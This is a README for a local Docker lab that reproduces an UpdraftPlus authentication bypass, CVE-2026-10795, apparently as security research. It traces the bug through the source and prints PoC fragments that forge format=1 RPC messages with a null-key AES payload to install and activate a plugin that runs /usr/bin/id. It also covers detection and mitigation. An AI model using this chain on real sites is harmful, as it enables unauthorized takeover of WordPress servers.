
This repository contains a local Docker lab for reproducing and validating CVE-2026-10795, an unauthenticated authentication bypass vulnerability affecting the UpdraftPlus WordPress plugin through its UpdraftCentral remote communication layer.
The vulnerable behavior exists in the UpdraftCentral RPC message handling flow. In vulnerable versions, a forged format=1 RPC message can bypass signature verification, trigger a failed RSA decrypt path, and still reach symmetric decryption with a predictable null key/null IV behavior. This allows a crafted encrypted RPC message to be accepted and dispatched as an UpdraftCentral command.
This lab compares two UpdraftPlus versions:
| Service | UpdraftPlus version | Purpose | URL |
|---|---|---|---|
vuln | 1.26.4 | Vulnerable comparison target | http://127.0.0.1:8081 |
patched | 1.26.5 | Patched comparison target | http://127.0.0.1:8082 |
The demonstrated chain is:
Unauthenticated attacker
→ forged UpdraftCentral RPC request
→ format=1 signature verification bypass
→ failed RSA decrypt not rejected in vulnerable version
→ predictable zero-key/zero-IV decrypt path
→ forged JSON RPC command accepted
→ privileged UpdraftCentral command dispatch
→ plugin.upload_plugin
→ install and activate marker plugin
→ hard-coded /usr/bin/id proof endpoint
The primary vulnerability is authentication bypass. The lab demonstrates that the bypass can be chained to an RCE-style impact when a privileged UpdraftCentral key state is present, because UpdraftCentral exposes legitimate plugin management commands that can install and activate WordPress plugins.
This is not a direct command injection vulnerability. The code execution proof comes from abusing authenticated plugin installation functionality after bypassing the RPC authentication boundary.
This lab is designed for controlled local research, source-level understanding, and portfolio demonstration only.
This lab intentionally seeds a local UpdraftCentral key state to reproduce a site condition where remote control has been configured.
The seeded key state is a lab prerequisite, not the vulnerability itself. It allows the lab to consistently exercise the vulnerable RPC parsing and decryption path.
The lab does not claim that every UpdraftPlus installation is immediately exploitable. The demonstrated chain depends on the presence of an UpdraftCentral local key entry that is associated with a privileged WordPress user.
The lab demonstrates a controlled RCE-style impact by installing a marker plugin that exposes a hard-coded /usr/bin/id proof endpoint. It does not provide a generic web shell, arbitrary command execution parameter, reverse shell, persistence mechanism, credential theft, or external callback.
The PoC is scoped to local targets only and refuses non-local hostnames by default.
The root cause is improper validation of UpdraftCentral RPC messages in vulnerable versions of UpdraftPlus.
The vulnerable RPC flow accepts a format=1 message. The format=1 path does not require the same signature verification as newer message formats.
The high-level issue is:
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
In vulnerable behavior, RSA decryption can return:
false
Instead of rejecting that failed decrypt result, the vulnerable flow continues and passes the value into the symmetric decryption layer.
The effective vulnerable pattern is:
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
The problem is that $sym_key is not validated before it is used.
When $sym_key is false, the cipher setup follows a predictable null key/null IV behavior. This makes it possible to craft an encrypted RPC payload using a known zero key and zero IV.
The patched version adds a guard before the symmetric key is used:
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
This changes the trust boundary.
Before the patch:
failed RSA decrypt result could still reach symmetric decrypt
After the patch:
failed RSA decrypt result is rejected before command dispatch
This is why the vulnerable service dispatches the forged RPC command, while the patched service does not.
CVE-2026-10795 is best described as an authentication bypass because the root flaw is in the RPC authentication and message verification layer.
However, after that authentication boundary is bypassed, the attacker-controlled RPC message can reach privileged UpdraftCentral commands.
One important command path is:
plugin.upload_plugin
This command is part of UpdraftCentral’s plugin management functionality. It accepts a plugin ZIP payload, writes it to a temporary location, installs the plugin, and activates it when requested.
The impact chain is therefore:
Authentication bypass
→ forged privileged RPC command
→ plugin upload through legitimate UpdraftCentral functionality
→ plugin installation
→ plugin activation
→ WordPress plugin code execution
This is not command injection.
The lab demonstrates code execution by installing a marker plugin that exposes a single endpoint:
/wp-json/cve-lab/v1/id
The marker plugin does not accept a command parameter. It only runs:
/usr/bin/id
This keeps the proof controlled and avoids turning the lab into a general-purpose web shell.
The relevant patch behavior is that the patched version rejects invalid symmetric keys before attempting to decrypt the RPC message body.
The important validation is:
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
This prevents the vulnerable fallback behavior where a failed RSA decrypt result can become a predictable symmetric key path.
The practical result is:
UpdraftPlus 1.26.4
→ forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5
→ failed symmetric key validation stops the forged message
→ command dispatch is not reached
The lab also validates the downstream impact by targeting the real UpdraftCentral plugin upload command path.
The relevant command behavior is:
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
The patched version blocks the forged message before this command path is reached.
This section explains the vulnerable path at source-code level and maps each PoC step to the relevant UpdraftPlus / UpdraftCentral behavior.
The lab does not rely on a fake vulnerable application route. The vulnerable behavior is reached through the real UpdraftCentral RPC listener and the real UpdraftCentral plugin-management command path.
The important source areas are:
vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php
central/bootstrap.php
central/listener.php
central/commands.php
central/modules/plugin.php
The vulnerable RPC path starts when WordPress receives a POST request containing:
udrpc_message
format
key_name
The RPC library registers a listener on WordPress wp_loaded when those POST fields exist.
Conceptually, the flow is:
if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) {
add_action('wp_loaded', array($this, 'wp_loaded'));
add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000);
}
This means the attacker does not need to know a special REST endpoint or admin URL. The forged RPC request is sent as a normal POST request to the WordPress site root.
The PoC sends:
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
The request reaches the same listener path used by legitimate UpdraftCentral remote communication.
UpdraftCentral stores local remote-control keys in WordPress options. In this lab, the setup script seeds a controlled key state for both the vulnerable and patched targets.
The relevant key name is:
0.central.updraftplus.com
This format is produced by the UpdraftCentral key indicator logic:
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
The listener only continues if the unencrypted POST field matches the expected key indicator:
if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) {
return;
}
The PoC therefore sets:
KEY_NAME = "0.central.updraftplus.com"
This is not the vulnerability. It is a lab prerequisite that lets the test exercise the vulnerable RPC parsing and decryption path in a reproducible way.
UpdraftCentral supports message formats. The important distinction is:
format=1 legacy path
format=2 signed message path
In the vulnerable code path, signature verification only happens when the format is greater than or equal to 2:
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
Because the PoC uses:
format=1
this signature verification block is skipped.
That is the authentication bypass boundary.
A legitimate format=2 message is expected to include a valid signature. The forged format=1 message does not need one, so the attacker-controlled message can continue to the decrypt path.
After format and key-name checks, the listener decrypts the submitted udrpc_message.
The vulnerable decryption flow in UpdraftPlus 1.26.4 is effectively:
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
The bug is between these two operations:
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
If RSA decryption fails, $rsa->decrypt() can return:
false
The vulnerable version does not reject that value before passing it into:
$rij->setKey($sym_key);
The patched version fixes this by adding validation:
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
This guard is the security-relevant patch. It prevents a failed RSA decrypt result from reaching the symmetric cipher setup.
false Becomes PredictableThe vulnerable behavior is dangerous because setKey(false) does not safely fail in this phpseclib path.
The cipher code calculates key length from the provided key:
$this->setKeyLength(strlen($key) << 3);
$this->key = $key;
When $key is false, strlen(false) behaves like a zero-length key case.
The Rijndael key-length logic rounds very small key sizes up to a valid minimum key length:
case $length <= 128:
$this->key_length = 16;
break;
The cipher setup then pads the key and IV with null bytes:
$this->encryptIV = $this->decryptIV =
str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key =
str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
So the attacker can model the vulnerable decrypt behavior as:
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
This is why the PoC can encrypt a JSON RPC command locally and have the vulnerable target decrypt it successfully.
The vulnerable decrypt function expects the encrypted message to contain:
3 hex chars length of RSA-encrypted symmetric key, as base64 text
N chars base64 RSA-encrypted symmetric key
16 hex chars length of ciphertext, as base64 text
M chars base64 encrypted message body
The PoC builds this structure manually:
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
The RSA block is intentionally invalid:
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
On UpdraftPlus 1.26.4, that invalid RSA block causes RSA decrypt to fail, but the failure is not rejected.
On UpdraftPlus 1.26.5, the failed decrypt result is rejected by the new guard and the forged message does not reach command dispatch.
The encrypted inner message is a normal UpdraftCentral-style JSON command.
For ping validation, the PoC uses:
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
For the default ID proof, the PoC uses:
{
"command": "plugin.upload_plugin",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456,
"data": {
"filename": "cve-2026-10795-id-marker.zip",
"data": "<base64 plugin zip>",
"activate": true
}
}
The key_name appears both outside and inside the encrypted message. The listener checks that both match:
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
That is why the PoC must include the same key name in both places.
After decrypting the message, the listener parses it as JSON:
$udrpc_message = json_decode($udrpc_message, true);
The message must contain a valid command:
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
It must also contain a timestamp:
if (empty($udrpc_message['time'])) {
die;
}
The timestamp must be within the allowed replay window:
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
The PoC therefore sets the inner time field to the current time.
After the message is decrypted and validated, UpdraftCentral dispatches the command.
Commands use a prefix format:
<prefix>.<method>
For example:
plugin.upload_plugin
This becomes:
prefix = plugin
method = upload_plugin
The listener resolves the command class from the prefix and then calls the method dynamically:
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
For the PoC command:
plugin.upload_plugin
the listener calls:
UpdraftCentral_Plugin_Commands::upload_plugin($data)
This is why the PoC does not need a direct command-injection sink. It reaches a legitimate privileged UpdraftCentral command after bypassing the RPC authentication boundary.
The listener can set the current WordPress user from the UpdraftCentral key metadata:
if (!empty($extra_info['user_id'])) {
wp_set_current_user($extra_info['user_id']);
}
In this lab, the seeded key has:
extra_info.user_id = 1
That simulates a configured UpdraftCentral key associated with the administrator user created during WordPress setup.
This matters because the plugin upload path checks WordPress capabilities:
if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) {
$permission_error = true;
}
So the bypass alone gets the forged command into the RPC layer. The seeded key metadata determines which WordPress user context the command runs under.
In this lab, the command runs in admin context because the key is associated with user ID 1.
The command method is:
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
The shared upload handler expects plugin upload data:
filename
data
activate
The PoC sends:
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
The upload handler writes the ZIP content to a temporary file:
$result = file_put_contents(
$upload_dir.'/'.$filename,
base64_decode($params['data']),
FILE_APPEND | LOCK_EX
);
For a non-chunked upload, installation proceeds immediately:
$install_now = true;
The handler then builds a ZIP path:
$zip_filepath = $upload_dir.'/'.$filename;
and installs it using the UpdraftCentral plugin upgrader:
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
If installation succeeds and activate is true, the code activates the installed plugin:
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
A successful install response contains:
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
This is the source-level reason why a forged RPC authentication bypass can be chained to WordPress plugin installation and activation.
The marker plugin is generated by the PoC in memory. It is not pre-installed by Docker setup.
The generated ZIP contains:
cve-2026-10795-id-marker/
└── cve-2026-10795-id-marker.php
The marker plugin registers one REST route:
/wp-json/cve-lab/v1/id
The endpoint returns:
lab
plugin
proof
uid
gid
user
id_output
The only command executed by the marker plugin is hard-coded:
shell_exec('/usr/bin/id 2>&1');
There is no user-controlled cmd parameter.
This is intentional. The lab proves plugin-code execution while avoiding a generic web shell.
The patched service receives the same forged request and has the same seeded key state.
The difference is the patched decrypt guard:
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Because the PoC intentionally supplies an invalid RSA block, the decrypted symmetric key is invalid.
In UpdraftPlus 1.26.5, the forged message stops before JSON parsing and before command dispatch.
Therefore:
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
This patched behavior proves that the lab result depends on the vulnerable UpdraftPlus RPC code path, not on the Docker harness.
The PoC starts by refusing non-local targets:
allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts:
raise ValueError("Refusing non-local target")
This keeps the script scoped to the Docker lab.
The PoC builds the inner RPC message:
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
If the default ID proof is used, the command is:
command = "plugin.upload_plugin"
and the data is:
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
The PoC then encrypts the inner JSON with the predictable vulnerable cipher state:
ZERO_KEY = b"\x00" * 16
ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
This matches the vulnerable consequence of passing false into the symmetric cipher setup.
The PoC intentionally uses a bad RSA block:
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
The resulting udrpc_message is built in the same length-prefixed format that the RPC decrypt function expects:
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Finally, the PoC sends the forged RPC request:
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
On the vulnerable target, the server response contains a valid RPC-style JSON response body. The PoC treats that as:
RPC DISPATCHED
After dispatch, the PoC verifies the impact by requesting the marker endpoint:
GET /wp-json/cve-lab/v1/id
If the marker plugin was installed and activated, the endpoint returns:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
That output proves that the forged unauthenticated RPC message reached a privileged plugin installation path and activated attacker-supplied plugin code inside the local lab.
This lab proves the following technical chain:
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
The lab does not prove that every installation is exploitable without prerequisites.
The required prerequisite for this demonstration is:
an existing UpdraftCentral local key state associated with a privileged WordPress user
The Docker setup creates that prerequisite in both targets so the difference between vulnerable and patched behavior can be tested fairly.
The lab runs two isolated WordPress installations through Docker Compose.
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
The two WordPress services run separate databases and separate UpdraftPlus versions:
Default exposed services:
Vulnerable target: http://127.0.0.1:8081
Patched target: http://127.0.0.1:8082
The setup process seeds the same UpdraftCentral key state into both services:
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
This gives both targets the same prerequisite state. The difference in behavior comes from the vulnerable versus patched UpdraftPlus code, not from different lab setup.
requirements.txtPython dependencies:
requests
urllib3<2
pycryptodome
The urllib3<2 constraint avoids LibreSSL-related warnings on some macOS Python builds.
Start from a clean lab state:
docker compose down -v --remove-orphans
docker compose up -d --build
Watch setup logs:
docker compose logs -f vuln_setup patched_setup
Expected setup indicators:
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.5
Setup complete for CVE-2026-10795 patched
Check running services:
docker compose ps
Create and activate a Python virtual environment:
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Run the default ID proof against the vulnerable target:
python3 poc/poc.py --url http://127.0.0.1:8081
Run the same proof against the patched target:
python3 poc/poc.py --url http://127.0.0.1:8082
The script requires the --url option intentionally. This forces the tester to choose the target explicitly instead of automatically attacking both services.
Default behavior:
python3 poc/poc.py --url <local_target_url>
Example vulnerable target:
python3 poc/poc.py --url http://127.0.0.1:8081
Example patched target:
python3 poc/poc.py --url http://127.0.0.1:8082
Optional ping-only validation:
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Supported options:
| Option | Required | Purpose |
|---|
Accepted target hosts:
127.0.0.1
localhost
::1
The PoC refuses non-local targets by default.
The PoC runs from the host machine and sends HTTP requests to the exposed Docker services.
The default PoC action is the ID proof.
The high-level flow is:
1. Receive explicit --url target from the tester
2. Refuse non-local targets
3. Build a marker WordPress plugin ZIP in memory
4. Create a forged UpdraftCentral RPC message
5. Send command plugin.upload_plugin through format=1
6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
7. Install and activate the marker plugin
8. Request /wp-json/cve-lab/v1/id
9. Print the hard-coded /usr/bin/id output
The marker plugin is not stored in the repository as a standalone plugin file. It is generated in memory by the PoC.
The forged RPC command is:
plugin.upload_plugin
The RPC data contains:
filename = cve-2026-10795-id-marker.zip
data = base64(plugin_zip)
activate = true
The PoC encrypts the inner JSON RPC message using:
AES-CBC
key = 16 null bytes
iv = 16 null bytes
It also includes an intentionally invalid RSA-encrypted symmetric key block.
On the vulnerable version, the RSA decrypt failure is not rejected. The message continues into the predictable null-key decrypt path and the forged command is dispatched.
On the patched version, the invalid symmetric key is rejected and the forged command is not dispatched.
--ping ExistsThe --ping option is a debugging aid.
It validates only the crypto bypass and RPC dispatch boundary. It does not upload a plugin and does not run /usr/bin/id.
Use --ping when the default ID proof does not work and the failure needs to be isolated.
If --ping fails, the issue is likely before command execution:
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
If --ping succeeds but the ID proof fails, the issue is likely after dispatch:
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
Expected ping behavior:
1.26.4 vulnerable target → PING DISPATCHED
1.26.5 patched target → PING NOT DISPATCHED
Command:
python3 poc/poc.py --url http://127.0.0.1:8081
Expected vulnerable signal:
CVE-2026-10795 local lab-only ID validation
Scope : localhost / Docker lab only
Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety : no generic web shell, no cmd parameter, no external targets
Key name : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target : http://127.0.0.1:8081/
Command : plugin.upload_plugin
Decision : RPC DISPATCHED
HTTP status : 200
Body bytes : non-zero
RPC JSON seen : True
Resp. format : 2
----------------------------------------------------------------------------------------
ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id
Marker active : True
HTTP status : 200
id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
========================================================================================
Interpretation:
UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
id output should be a hard-coded local proof such as uid=33(www-data).
Command:
python3 poc/poc.py --url http://127.0.0.1:8082
Expected patched signal:
CVE-2026-10795 local lab-only ID validation
Scope : localhost / Docker lab only
Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety : no generic web shell, no cmd parameter, no external targets
Key name : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target : http://127.0.0.1:8082/
Command : plugin.upload_plugin
Decision : RPC NOT DISPATCHED
HTTP status : 200
Body bytes : 0
RPC JSON seen : False
Body prefix : ''
----------------------------------------------------------------------------------------
ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id
Marker active : False
HTTP status : 404
Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'
========================================================================================
Interpretation:
UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
id output should be a hard-coded local proof such as uid=33(www-data).
Check service health:
docker compose ps
Inspect vulnerable service metadata:
curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
Inspect patched service metadata:
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
Check runtime plugin state:
curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
Run ping-only validation:
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Run ID proof:
python3 poc/poc.py --url http://127.0.0.1:8081
python3 poc/poc.py --url http://127.0.0.1:8082
Check marker endpoint directly after running the PoC:
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
Expected:
8081 → marker endpoint exists and returns id output
8082 → marker endpoint returns 404 rest_no_route
Check installed plugins inside the vulnerable container:
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Check installed plugins inside the patched container:
docker compose exec -T patched sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
The vulnerable service should contain the marker plugin after the PoC runs. The patched service should not.
This lab demonstrates that an unauthenticated attacker can forge an UpdraftCentral RPC message that reaches privileged command dispatch in UpdraftPlus 1.26.4 when a suitable UpdraftCentral key state exists.
The demonstrated impact is RCE-style because the forged RPC command abuses legitimate plugin management functionality:
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
The local proof shows execution as the web server user:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The vulnerability category remains authentication bypass. The code execution result is a chained impact through privileged WordPress plugin installation.
Potential indicators include unauthenticated POST requests to the WordPress front page containing UpdraftCentral RPC fields:
format
key_name
udrpc_message
signature
Suspicious characteristics:
format=1
key_name ending with .central.updraftplus.com
large udrpc_message value
unexpected unauthenticated POST requests to /
repeated RPC attempts with empty or unusual response bodies
new unexpected plugin directories under wp-content/plugins
new plugin activation events
REST routes appearing unexpectedly after a suspicious request
Local lab indicators:
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
Production monitoring ideas:
udrpc_message.format=1 RPC requests from untrusted sources.wp-content/plugins.Upgrade UpdraftPlus to version 1.26.5 or later.
The patched version rejects invalid decrypted symmetric keys before symmetric decryption and command dispatch.
Recommended mitigation steps:
udrpc_message requests.The most important fix is to run a patched UpdraftPlus version that rejects invalid symmetric keys before decryption and dispatch.
Stop containers and remove networks:
docker compose down --remove-orphans
Remove containers, networks, and volumes:
docker compose down -v --remove-orphans
Remove Python virtual environment:
rm -rf venv
Remove local evidence files if created:
rm -rf evidence/
This lab is for local security research and controlled demonstration only.
Do not run the PoC against systems you do not own or do not have explicit permission to test.
Do not use real credentials, production secrets, or external targets in this lab.
The PoC is intentionally scoped to local Docker services such as:
http://127.0.0.1:8081
http://127.0.0.1:8082
http://localhost:8081
http://localhost:8082
The PoC refuses non-local targets by default.
The marker plugin does not implement a generic command execution parameter. It only exposes a hard-coded local proof endpoint that runs /usr/bin/id.
This lab does not include:
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
The goal is to demonstrate one specific technical condition in a controlled environment:
unauthenticated forged RPC
+ vulnerable format=1 validation behavior
+ failed RSA decrypt not rejected
+ predictable symmetric decrypt path
+ privileged UpdraftCentral command dispatch
+ plugin upload and activation
+ patched version blocks before dispatch
NVD: CVE-2026-10795 https://nvd.nist.gov/vuln/detail/CVE-2026-10795
Wordfence Vulnerability Database: UpdraftPlus https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
Patchstack Database: UpdraftPlus https://patchstack.com/database/
WordPress.org Plugin: UpdraftPlus https://wordpress.org/plugins/updraftplus/
WordPress.org Plugin SVN https://plugins.svn.wordpress.org/updraftplus/
WordPress.org Plugin SVN Tags https://plugins.svn.wordpress.org/updraftplus/tags/
TeamUpdraft: UpdraftCentral https://updraftplus.com/updraftcentral/
OWASP: Authentication Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
OWASP: Web Security Testing Guide https://owasp.org/www-project-web-security-testing-guide/
| Claim | Evidence | How to verify in this lab |
|---|
| UpdraftPlus 1.26.4 is vulnerable in this lab. | The vulnerable service accepts a forged format=1 RPC message and dispatches plugin.upload_plugin. | Run python3 poc/poc.py --url http://127.0.0.1:8081. |
| UpdraftPlus 1.26.5 blocks the forged message in this lab. | The patched service returns no RPC response body and does not dispatch the forged command. | Run python3 poc/poc.py --url http://127.0.0.1:8082. |
| The issue is an authentication bypass in the UpdraftCentral RPC layer. | A forged unauthenticated RPC request can reach command dispatch in the vulnerable version. | Compare --ping behavior between ports 8081 and 8082. |
| The lab does not pre-install the marker plugin. | The setup only installs WordPress, UpdraftPlus, and a local UpdraftCentral key state. | Check /wp-json/cve-lab/v1/id before running the PoC. |
| The PoC installs the marker plugin through forged RPC. | The PoC sends plugin.upload_plugin with a ZIP plugin payload in the RPC data field. | Run the PoC and then request /wp-json/cve-lab/v1/id. |
| The vulnerable target reaches RCE-style impact. | The marker plugin exposes a hard-coded endpoint that returns /usr/bin/id output. | The vulnerable target returns uid=33(www-data) gid=33(www-data). |
| The patched target does not install the marker plugin. | The marker endpoint returns 404 rest_no_route on the patched service. | Run the PoC against http://127.0.0.1:8082. |
| The lab requires an UpdraftCentral key state. | UpdraftCentral dispatch depends on a local key entry and associated metadata. | Review scripts/setup-wordpress.sh. |
| PoC behavior | Source behavior being tested | Expected on 1.26.4 | Expected on 1.26.5 |
|---|
Send POST with format=1 | Listener accepts legacy RPC format | Continues | Continues to patched decrypt check |
| Omit valid signature | Signature check only applies to format >= 2 | Signature not required | Signature not required for format=1, but later blocked |
| Send invalid RSA block | RSA decrypt returns invalid symmetric key | Invalid key reaches setKey() | Invalid key rejected |
| Encrypt JSON with null key/null IV | Models phpseclib fallback behavior after setKey(false) | Decrypts into valid JSON | Does not decrypt |
Set command=ping | Tests crypto bypass and dispatch only | PING DISPATCHED | PING NOT DISPATCHED |
Set command=plugin.upload_plugin | Calls UpdraftCentral plugin upload method | Plugin ZIP installed | Command not reached |
Set activate=true | Triggers activate_plugin() after install | Marker plugin active | Marker plugin absent |
Request /wp-json/cve-lab/v1/id | Checks whether marker plugin code is running | Returns uid=33(www-data) | Returns 404 rest_no_route |
| Service | Component | Version / Role |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 vulnerable target |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 patched target |
vuln_db | MariaDB | Database for the vulnerable target |
patched_db | MariaDB | Database for the patched target |
vuln_setup | WP-CLI setup service | Installs WordPress, activates UpdraftPlus, seeds local key state |
patched_setup | WP-CLI setup service | Installs WordPress, activates UpdraftPlus, seeds local key state |
--url | Yes | Local lab target URL |
--ping | No | Run harmless forged ping validation instead of ID proof |
--timeout | No | HTTP timeout in seconds. Default: 15 |